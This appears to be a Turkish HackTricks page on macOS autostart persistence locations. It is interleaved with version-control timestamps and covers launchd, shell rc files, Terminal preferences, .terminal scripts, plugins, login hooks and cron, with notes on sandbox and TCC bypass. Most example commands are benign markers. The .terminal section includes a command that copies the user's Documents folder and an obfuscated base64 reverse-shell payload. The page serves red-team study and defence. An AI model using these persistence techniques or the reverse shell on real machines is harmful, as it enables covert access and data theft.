2024-02-10 18:14:16 +00:00
# macOS Otomatik Başlatma
2023-06-01 21:09:46 +00:00
< details >
2024-03-17 16:37:08 +00:00
< summary > < strong > AWS hacklemeyi sı fı rdan ileri seviyeye öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
HackTricks'ı desteklemenin diğer yolları :
2023-12-30 20:49:49 +00:00
2024-02-23 16:46:32 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI** ](https://github.com/sponsors/carlospolop )'na göz atı n!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-02-13 00:51:21 +00:00
* [**PEASS Ailesi'ni** ](https://opensea.io/collection/the-peass-family ) keşfedin, özel [**NFT'lerimiz** ](https://opensea.io/collection/the-peass-family ) koleksiyonumuz
2024-03-17 16:37:08 +00:00
* **Katı lı n** 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) veya bizi **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )'de **takip edin** .
* **Hacking püf noktaları nı zı paylaşarak PR'lar göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2023-06-01 21:09:46 +00:00
< / details >
2024-03-17 16:37:08 +00:00
Bu bölüm, [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ) blog serisine dayanmaktadı r. Amacı , **daha fazla Otomatik Başlatma Konumu** eklemek (mümkünse), günümüzdeki macOS'ı n en son sürümüyle (13.4) **hala çalı şan teknikleri belirtmek** ve gerekli olan **izinleri** belirtmektir.
2023-06-01 21:09:46 +00:00
2024-02-23 16:46:32 +00:00
## Kum Havuzu Atlatma
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-03-17 16:37:08 +00:00
Burada, **kum havuzu atlatma** için yararlı olan başlatma konumları nı bulabilirsiniz. Bu, bir şeyi **bir dosyaya yazarak** ve bir **çok yaygı n eylem** , belirli bir **zaman miktarı ** veya genellikle bir kum havuzundan **kök izinleri gerektirmeden** gerçekleştirebileceğiniz bir **eylem** için **bekleyerek** basitçe yürütmenize olanak tanı r.
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-03-17 16:37:08 +00:00
* Kum havuzu atlatma için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-23 16:46:32 +00:00
* TCC Atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-23 16:46:32 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`/Library/LaunchDaemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-23 16:46:32 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-23 16:46:32 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`/System/Library/LaunchDaemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden başlatma
2024-02-23 16:46:32 +00:00
* Kök izni gereklidir
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchAgents`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
* **`~/Library/LaunchDemons`**
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: Yeniden oturum açma
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
**`launchd`**, başlangı çta OX S çekirdeği tarafı ndan yürütülen **ilk işlem** ve kapanı rken sonuncusudur. Her zaman **PID 1** 'e sahip olmalı dı r. Bu işlem, **ASEP** **plistlerinde** belirtilen yapı landı rmaları **okuyacak ve yürütecek** :
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
* `/Library/LaunchAgents` : Yönetici tarafı ndan yüklenen kullanı cı başı na ajanlar
2024-03-17 16:37:08 +00:00
* `/Library/LaunchDaemons` : Yönetici tarafı ndan yüklenen sistem genelinde hizmetler
2024-02-13 00:51:21 +00:00
* `/System/Library/LaunchAgents` : Apple tarafı ndan sağlanan kullanı cı başı na ajanlar.
2024-03-17 16:37:08 +00:00
* `/System/Library/LaunchDaemons` : Apple tarafı ndan sağlanan sistem genelinde hizmetler.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
Bir kullanı cı oturum açtı ğı nda, `/Users/$USER/Library/LaunchAgents` ve `/Users/$USER/Library/LaunchDemons` konumları ndaki plist'ler **oturum açan kullanı cı izinleriyle** başlatı lı r.
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
**Ajanlar ve hizmetler arası ndaki temel fark, ajanları n kullanı cı oturum açtı ğı nda yüklenmesi ve hizmetlerin sistem başlatı ldı ğı nda yüklenmesidir** (çünkü ssh gibi hizmetlerin, herhangi bir kullanı cı nı n sisteme erişmeden önce yürütülmesi gerekmektedir). Ayrı ca ajanlar GUI kullanabilirken, hizmetler arka planda çalı şmalı dı r.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-03-17 16:37:08 +00:00
Bazı durumlarda, **kullanı cı oturum açmadan önce bir ajanı n çalı ştı rı lması gerekebilir** , bunlara **PreLoginAgents** denir. Örneğin, bu, oturum açı lı rken destekleyici teknoloji sağlamak için kullanı şlı dı r. Bunlar ayrı ca `/Library/LaunchAgents` dizininde de bulunabilir (bir örnek için [**buraya** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) bakı n).
2023-06-01 21:09:46 +00:00
2023-09-28 15:09:34 +00:00
{% hint style="info" %}
2024-03-17 16:37:08 +00:00
Yeni Daemon veya Ajan yapı landı rma dosyaları , **bir sonraki yeniden başlatmadan sonra veya** `launchctl load <hedef.plist>` **kullanı larak yüklenecektir** . Ayrı ca, `.plist` uzantı sı z dosyaları da `launchctl -F <dosya>` ile yüklemek mümkündür (ancak bu plist dosyaları otomatik olarak yeniden başlatmadan sonra yüklenmeyecektir).\
`launchctl unload <hedef.plist>` ile **boşaltmak** da mümkündür (bu işaret ettiği işlem sonlandı rı lacaktı r).
2023-06-01 21:09:46 +00:00
2024-03-17 16:37:08 +00:00
Bir **Ajanı n** veya **Daemon'ı n** **çalı şması nı engelleyen** bir **geçersiz kı lma** gibi **herhangi bir şeyin olmadı ğı ndan emin olmak için** şunu çalı ştı rı n: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-02-10 18:14:16 +00:00
Mevcut kullanı cı tarafı ndan yüklenen tüm ajanları ve daemonları listele:
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 16:52:21 +00:00
{% hint style="warning" %}
2024-03-17 16:37:08 +00:00
Eğer bir plist dosyası bir kullanı cı ya aitse, hatta daemon sistem genelindeki klasörlerde olsa bile, **görev kullanı cı olarak** ve kök olarak değil yürütülecektir. Bu bazı ayrı calı k yükseltme saldı rı ları nı önleyebilir.
2023-11-02 16:52:21 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
### kabuk başlangı ç dosyaları
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Açı klama (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC Atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Ancak bu dosyaları yükleyen bir kabuk yürüten TCC atlatması olan bir uygulama bulmanı z gerekmektedir
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konumlar
2023-09-28 15:09:34 +00:00
2023-12-30 00:49:26 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: zsh ile bir terminal aç
2023-09-28 15:09:34 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: zsh ile bir terminal aç
* Kök gereklidir
2023-09-28 15:09:34 +00:00
* **`~/.zlogout`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: zsh ile bir terminali kapat
2023-09-28 15:09:34 +00:00
* **`/etc/zlogout`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: zsh ile bir terminali kapat
* Kök gereklidir
2024-02-13 00:51:21 +00:00
* Muhtemelen daha fazlası : ** `man zsh` **
2023-09-28 15:09:34 +00:00
* **`~/.bashrc`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: bash ile bir terminal aç
2024-02-10 18:14:16 +00:00
* `/etc/profile` (çalı şmadı )
* `~/.profile` (çalı şmadı )
2023-09-28 15:09:34 +00:00
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-02-10 18:14:16 +00:00
* **Tetikleyici**: xterm ile tetiklenmesi beklenir, ancak **kurulu değil** ve kurulduktan sonra bile bu hata alı nı r: xterm: `DISPLAY is not set`
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
`zsh` veya `bash` gibi bir kabuk ortamı başlatı ldı ğı nda, **belirli başlangı ç dosyaları çalı ştı rı lı r** . macOS şu anda varsayı lan kabuk olarak `/bin/zsh` kullanmaktadı r. Bu kabuk, Terminal uygulaması başlatı ldı ğı nda veya bir cihaz SSH ile erişildiğinde otomatik olarak erişilir. macOS'ta ayrı ca `bash` ve `sh` de bulunmaktadı r, ancak kullanı lmak için açı kça çağrı lması gerekmektedir.
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
`man zsh` ile okuyabileceğimiz zsh'in man sayfası , başlangı ç dosyaları nı n uzun bir açı klaması na sahiptir.
2023-09-28 15:09:34 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-02-10 18:14:16 +00:00
### Yeniden Açı lan Uygulamalar
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Belirtilen açı ğı yapı landı rmak ve oturumu kapatı p açmak veya hatta yeniden başlatmak, uygulamayı çalı ştı rmam için işe yaramadı . (Uygulama çalı ştı rı lmı yordu, belki bu eylemler gerçekleştirilirken uygulamanı n çalı şı yor olması gerekiyor)
2023-09-28 20:05:35 +00:00
{% endhint %}
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için faydalı : [✅ ](https://emojipedia.org/check-mark-button )
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-03-17 16:37:08 +00:00
* **Tetikleyici**: Uygulamaları yeniden açma işlemi
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
#### Açı klama ve Sömürü
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Yeniden açı lacak tüm uygulamalar, `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist` plist dosyası nı n içindedir.
2023-09-28 20:05:35 +00:00
2024-03-17 16:37:08 +00:00
Bu nedenle, yeniden açı lacak uygulamalar arası na kendi uygulamanı zı eklemek için **uygulamanı zı listeye eklemeniz yeterlidir** .
2023-09-28 20:05:35 +00:00
2024-02-23 16:46:32 +00:00
UUID, bu dizini listelerken veya `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'` komutu ile bulunabilir.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
Yeniden açı lacak uygulamaları kontrol etmek için şunu yapabilirsiniz:
2023-09-28 20:05:35 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-13 00:51:21 +00:00
**Bu listeye bir uygulama eklemek için** şunları kullanabilirsiniz:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
2024-02-10 18:14:16 +00:00
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
### Terminal Tercihleri
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı gerektirir.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Terminalı Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-03-17 16:37:08 +00:00
**`~/Library/Preferences`** içerisinde, Kullanı cı Tercihleri Uygulamaları nda saklanı r. Bu tercihlerin bazı ları , **diğer uygulamalar/skriptleri çalı ştı rmak** için bir yapı landı rma tutabilir.
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Örneğin, Terminal Başlangı çta bir komutu çalı ştı rabilir:
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
< figure > < img src = "../.gitbook/assets/image (676).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2024-02-10 18:14:16 +00:00
Bu yapı landı rma, ** `~/Library/Preferences/com.apple.Terminal.plist` ** dosyası nda şu şekilde yansı tı lı r:
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
[...]
"Window Settings" => {
2024-02-10 18:14:16 +00:00
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 20:05:35 +00:00
[...]
2023-09-28 15:09:34 +00:00
```
2024-03-17 16:37:08 +00:00
Yani, sistemdeki terminalin tercihlerinin plist'i üzerine yazı lı rsa, ** `open` ** işlevi kullanı larak **terminal açı labilir ve o komut çalı ştı rı labilir** .
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Bunu terminalden şu şekilde ekleyebilirsiniz:
2023-09-28 15:09:34 +00:00
{% code overflow="wrap" %}
```bash
# Add
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
# Remove
2023-09-28 20:05:35 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 15:09:34 +00:00
```
{% endcode %}
2024-02-13 00:51:21 +00:00
### Terminal Betikleri / Diğer dosya uzantı ları
2023-10-01 18:04:16 +00:00
2024-02-13 00:51:21 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-10 18:14:16 +00:00
* TCC atlatma: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Terminal, kullanı cı nı n FDA izinlerine sahip olması nı gerektirir
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
* **Herhangi bir yer**
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Terminali Aç
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-10-01 18:04:16 +00:00
2024-03-17 16:37:08 +00:00
Eğer bir [**`.terminal`** betiği ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) oluşturursanı z ve açarsanı z, **Terminal uygulaması ** otomatik olarak açı lacak ve içinde belirtilen komutları çalı ştı rmak için çağrı lacaktı r. Eğer Terminal uygulaması nı n özel izinleri varsa (örneğin TCC gibi), komutunuz bu özel izinlerle çalı ştı rı lacaktı r.
2023-10-01 18:04:16 +00:00
2024-02-10 18:14:16 +00:00
Denemek için:
2023-10-01 18:04:16 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
2024-02-10 18:14:16 +00:00
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
2023-10-01 18:04:16 +00:00
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-02-10 18:14:16 +00:00
### Ses Eklentileri
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Açı klama: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:37:08 +00:00
* Ek TCC erişimi alabilirsiniz
2023-12-30 00:49:26 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-Ins/HAL`**
2024-03-17 16:37:08 +00:00
* Root gereklidir
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatı lmalı dı r
2023-09-28 20:05:35 +00:00
* **`/Library/Audio/Plug-ins/Components`**
2024-03-17 16:37:08 +00:00
* Root gereklidir
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatı lmalı dı r
2023-09-28 20:05:35 +00:00
* **`~/Library/Audio/Plug-ins/Components`**
2024-03-17 16:37:08 +00:00
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatı lmalı dı r
2023-09-28 20:05:35 +00:00
* **`/System/Library/Components`**
2024-03-17 16:37:08 +00:00
* Root gereklidir
* **Tetik**: coreaudiod veya bilgisayar yeniden başlatı lmalı dı r
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Önceki açı klamalara göre **bazı ses eklentilerini derleyip** yüklemek mümkündür.
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
### QuickLook Eklentileri
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
Açı klama: [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🟠 ](https://emojipedia.org/large-orange-circle )
2024-03-17 16:37:08 +00:00
* Ek TCC erişimi alabilirsiniz
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
QuickLook eklentileri, bir dosyanı n önizlemesini **tetiklediğinizde** (Finder'da dosya seçiliyken boşluk çubuğuna bası n) ve **o dosya türünü destekleyen bir eklenti** yüklü olduğunda çalı ştı rı labilir.
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
Kendi QuickLook eklentinizi derleyip, onu yüklemek için önceki konumlardan birine yerleştirebilir ve ardı ndan desteklenen bir dosyaya gidip tetiklemek için boşluk tuşuna basabilirsiniz.
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
### ~~Giriş/Çı kı ş Kancaları ~~
2023-09-28 15:09:34 +00:00
2023-09-28 20:05:35 +00:00
{% hint style="danger" %}
2024-02-13 00:51:21 +00:00
Bu benim için çalı şmadı , ne kullanı cı GirişKancası ne de kök Çı kı şKancası ile.
2023-09-28 20:05:35 +00:00
{% endhint %}
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
* Kum havuzunu atlamak için kullanı şlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:51:21 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` gibi bir şeyi yürütebilmelisiniz
* `~/Library/Preferences/com.apple.loginwindow.plist` içinde bulunur
2023-09-28 15:09:34 +00:00
2024-02-23 16:46:32 +00:00
Eskimiş olsalar da, bir kullanı cı oturum açtı ğı nda komutları yürütmek için kullanı labilirler.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Bu ayar `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` dosyası nda saklanı r.
2023-09-28 15:09:34 +00:00
```bash
2023-09-28 20:05:35 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
2024-02-10 18:14:16 +00:00
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
2023-09-28 20:05:35 +00:00
}
2023-09-28 15:09:34 +00:00
```
2024-02-10 18:14:16 +00:00
Silmek için:
2023-09-28 20:05:35 +00:00
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-02-13 00:51:21 +00:00
Root kullanı cı sı ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` ** içinde saklanı r.
2023-09-28 20:05:35 +00:00
2024-02-13 00:51:21 +00:00
## Koşullu Kum Sandı ğı Atlatma
2023-09-28 20:05:35 +00:00
{% hint style="success" %}
2024-03-17 16:37:08 +00:00
Burada, **kum sandı ğı atlatma** için yararlı olan başlangı ç konumları nı bulabilirsiniz, bu da size basitçe bir şeyi **bir dosyaya yazarak** ve belirli **programlar yüklü, "sı radı şı " kullanı cı ** eylemleri veya ortamlar gibi belirli **yaygı n olmayan koşulları n** olması nı beklemek anlamı na gelir.
2023-09-28 15:09:34 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-02-13 00:51:21 +00:00
**Açı klama**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 15:09:34 +00:00
2024-02-13 00:51:21 +00:00
* Kum sandı ğı nı atlamak için yararlı : [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:37:08 +00:00
* Ancak, `crontab` ikilisini çalı ştı rabilmeniz gerekir
* Veya root olmanı z gerekir
2024-02-10 18:14:16 +00:00
* TCC atlatma: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:05:35 +00:00
2024-02-10 18:14:16 +00:00
#### Konum
2023-09-28 15:09:34 +00:00
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-03-17 16:37:08 +00:00
* Doğrudan yazma erişimi için root gereklidir. `crontab <dosya>` yı çalı ştı rabilirseniz root gerekli değildir
2024-02-13 00:51:21 +00:00
* **Tetikleyici**: Cron işine bağlı dı r
2023-09-28 15:09:34 +00:00
2024-02-10 18:14:16 +00:00
#### Açı klama ve Sömürü
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
**Mevcut kullanı cı nı n** cron işlerini listelemek için:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-03-17 16:37:08 +00:00
MacOS'ta, ** `/usr/lib/cron/tabs/` ** ve ** `/var/at/tabs/` ** (root gerektirir) dizinlerinde kullanı cı ları n tüm cron işlerini görebilirsiniz.
2023-06-01 21:09:46 +00:00
2024-02-13 00:51:21 +00:00
MacOS'ta, belirli bir sı klı kla betikleri çalı ştı ran birkaç klasör bulunabilir:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:05:35 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
2024-03-17 16:37:08 +00:00
Burada düzenli **cron işleri** , **at işleri** (pek kullanı lmaz) ve **periyodik işler** (genellikle geçici dosyaları temizlemek için kullanı lı r) bulabilirsiniz. Günlük periyodik işler örneğin şu şekilde çalı ştı rı labilir: `periodic daily` .
2023-06-01 21:09:46 +00:00
2024-02-23 16:46:32 +00:00
